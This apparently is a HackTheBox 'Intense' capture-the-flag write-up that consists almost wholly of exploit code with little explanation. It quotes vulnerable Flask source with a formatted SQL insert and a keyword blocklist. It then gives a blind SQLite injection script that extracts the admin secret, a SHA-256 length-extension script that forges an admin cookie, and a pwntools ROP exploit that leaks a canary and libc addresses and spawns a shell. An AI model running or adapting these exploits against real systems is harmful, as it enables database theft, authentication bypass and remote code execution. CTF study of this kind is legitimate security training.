HackTheBox - Intense

@app.route("/submitmessage", methods=["POST"])
def submitmessage():
    message = request.form.get("message", '')
    if len(message) > 140:
        return "message too long"
    if badword_in_str(message):
        return "forbidden word in message"
    # insert new message in DB
    try:
        # the following query is NOT safe
        query_db("insert into messages values ('%s')" % message)
    except sqlite3.Error as e:
        return str(e)
    return "OK"

def try_login(form):
    """ Try to login with the submitted user info """
    if not form:
        return None
    username = form["username"]
    password = hash_password(form["password"])
    # The followng query is safe
    result = query_db(
    "select count(*) from users where username = ? and secret = ?",
    (username, password),
    one=True)
    if result and result[0]:
        return {"username": username, "secret":password}
    return None

def badword_in_str(data):
    data = data.lower()
    badwords = ["rand", "system", "exec", "date"]
    for badword in badwords:
        if badword in data:
            return True
    return False

try:
    query_db("insert into messages values ('%s')" % message)
except sqlite3.Error as e:
    return str(e) # BINGO!
return "OK"

import requests

username = 'guest'
password = 'guest'
url = 'http://127.0.0.1:5000'
url = 'http://10.10.10.195'

def login(url,username,password):
    url_login = url + '/postlogin'
    with requests.Session() as s:
        data={'username':username, 'password':password}    
        s.post(url_login, data=data, allow_redirects=False)
        resp = s.get(url, allow_redirects=False)
        return s.cookies

def sqli(user):
    cookies = login(url,username,password)
    payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '{}%'))--"""
    charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~'
    secret = ''
    for x in range(0,40):
        for c in charset:
            query = payload.format(user,secret+c)
            r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query})
            if r.text == 'not authorized':
                secret = secret + c
                print('Secret: '+secret)
                break
    return secret

def sqli2(user):
    cookies = login(url,username,password)
    payload = """'||(select CASE username WHEN '{}' THEN load_extension(1) end from users where secret like '%{}'))--"""
    charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&()*+,-./:;<=>?@[]^_`{|}~'
    secret = ''
    for x in range(0,40):
        for c in charset:
            query = payload.format(user,c+secret)
            r = requests.post(url+'/submitmessage',cookies=cookies,data={'message':query})
            if r.text == 'not authorized':
                secret = c + secret
                print('Secret: '+secret)
                break
    return secret

part1,part2 = sqli('admin')[:32],sqli2('admin')[-32:]
print('Part 1: {} with length={}'.format(part1,len(part1)))
print('Part 2: {} with length={}'.format(part2,len(part2)))
secret = part1 + part2
print('Recovered Secret: '+secret)

if r.text == 'not authorized':
    secret = secret + c
    print('Secret: '+secret)
    break

if r.text == 'not authorized':
    secret = c + secret # Swapped
    print('Secret: '+secret)
    break

def sign(msg):
    """ Sign message with secret key """
    return sha256(SECRET + msg).digest()

SECRET = os.urandom(randrange(8, 15))

import requests
import hashpumpy
from base64 import b64decode, b64encode

url = 'http://127.0.0.1:5000'
url = 'http://10.10.10.195'
admin = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
session = 'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;'

def login(url,username,password):
    url_login = url + '/postlogin'
    with requests.Session() as s:
        data={'username':username, 'password':password}    
        s.post(url_login, data=data, allow_redirects=False)
        resp = s.get(url, allow_redirects=False)
        return s.cookies

def attack(length):
    cookies = login(url,'guest','guest')
    data,sig = cookies['auth'].split('.')
    hexdigest = b64decode(sig).hex()
    return hashpumpy.hashpump(hexdigest,session,admin,length)


for x in range(8,15):
    sig,data = attack(x)
    auth = str(b64encode(data),'utf-8')+'.'+str(b64encode(bytes.fromhex(sig)),'utf-8')
    r = requests.get(url+'/admin',cookies={'auth':auth})
    if r.status_code == 200:
        print('Success!')
        print('Secret Length='+str(x))
        print('Cookie: auth='+auth)
        break

#### Logs functions ####
def admin_view_log(filename):
    if not path.exists(f"logs/{filename}"):
        return f"Can't find {filename}"
    with open(f"logs/{filename}") as out:
        return out.read()


def admin_list_log(logdir):
    if not path.exists(f"logs/{logdir}"):
        return f"Can't find {logdir}"
    return listdir(logdir)

from pwn import *
import struct

#context.log_level = 'debug'

def pad(data,size):
    return data+('\x41'*(size-len(data)))

def send_note(data):
    r.send('\x01')
    r.send(struct.pack('B',len(data))[0])
    r.send(data)

def print_note():
    # returns and closes socket
    r.send('\x03')

def copy_to_end(offset,size):
    r.send('\x02')
    off = struct.pack('H',offset)
    r.send(off)
    r.send(struct.pack('B',size)) # reads 1 byte


def leak_canary():
    # fill buffer with 1024
    send_note('A'*0xff)
    send_note('B'*0xff)
    send_note('C'*0xff)
    send_note('D'*0xff)
    send_note('a'*4)
    # overflow
    copy_to_end(1024,32)
    print_note()
    r.recv(1024)
    rbp = u64(r.recv(8))
    canary = u64(r.recv(8))
    r.recv(8)
    pie_leak = u64(r.recv(8))-0xf54
    log.info('Leaked RBP: '+hex(rbp))
    log.info('Leaked Canary: '+hex(canary))
    log.info('Leaked PIE Base: '+hex(pie_leak))
    return canary,rbp,pie_leak


elf = ELF('./note_server')
log.info('Read: '+hex(elf.got['read']))
r = remote('localhost',5001)
canary,rbp,pie = leak_canary()
r = remote('localhost',5001)

log.info('Doing Overflow')
# gadgets
pop_rsi_r15 = 0xfd1
pop_rdi = 0xfd3

system_offset = 0xa5d20 # change (libc)

payload = 'A'*8
payload += p64(canary)
payload += p64(rbp)
payload += p64(pie+elf.plt['read'])
payload += p64(pie+pop_rsi_r15)
payload += p64(pie+elf.got['read'])
payload += p64(0xdecafbad)
payload += p64(pie+0x900) # write
payload += p64(0xdecafbad)
data = pad(payload,0xff)
send_note(data)
send_note('B'*0xff)
send_note('C'*0xff)
send_note('D'*0xff)
send_note('a'*4)
copy_to_end(0,len(payload))
print_note()
r.send('z'*4)
r.recv(0x448)
libc_read = u64(r.recv(8))
r.recv()
log.info('Leaked LIBC Read: '+hex(libc_read))

# final step
libc_base = libc_read - 0x110070 # change
one_gadget = libc_base + 0x4f322 # change
libc_dup2 = libc_base + 0x1109a0 #0xeeeb0 # change (libc)
r = remote('localhost',5001)

log.info('Doing Overflow')

payload = 'A'*8
payload += p64(canary)
payload += p64(rbp)
payload += p64(pie+pop_rdi) # pop rdi
payload += p64(4)        # fd4
payload += p64(pie+pop_rsi_r15) # pop rsi r15
payload += p64(0) # fd0 = stdin
payload += p64(0)        # r15
payload += p64(libc_dup2)
payload += p64(pie+pop_rdi) # pop rdi
payload += p64(4)        # fd4
payload += p64(pie+pop_rsi_r15) # pop rsi r15
payload += p64(1) # fd1 = stdout
payload += p64(0)        # r15
payload += p64(libc_dup2)
payload += p64(one_gadget)
data = pad(payload,0xff)
send_note(data)
send_note('B'*0xff)
send_note('C'*0xff)
send_note('D'*0xff)
send_note('a'*4)
copy_to_end(0,len(payload))
print_note()

r.recv()
r.interactive()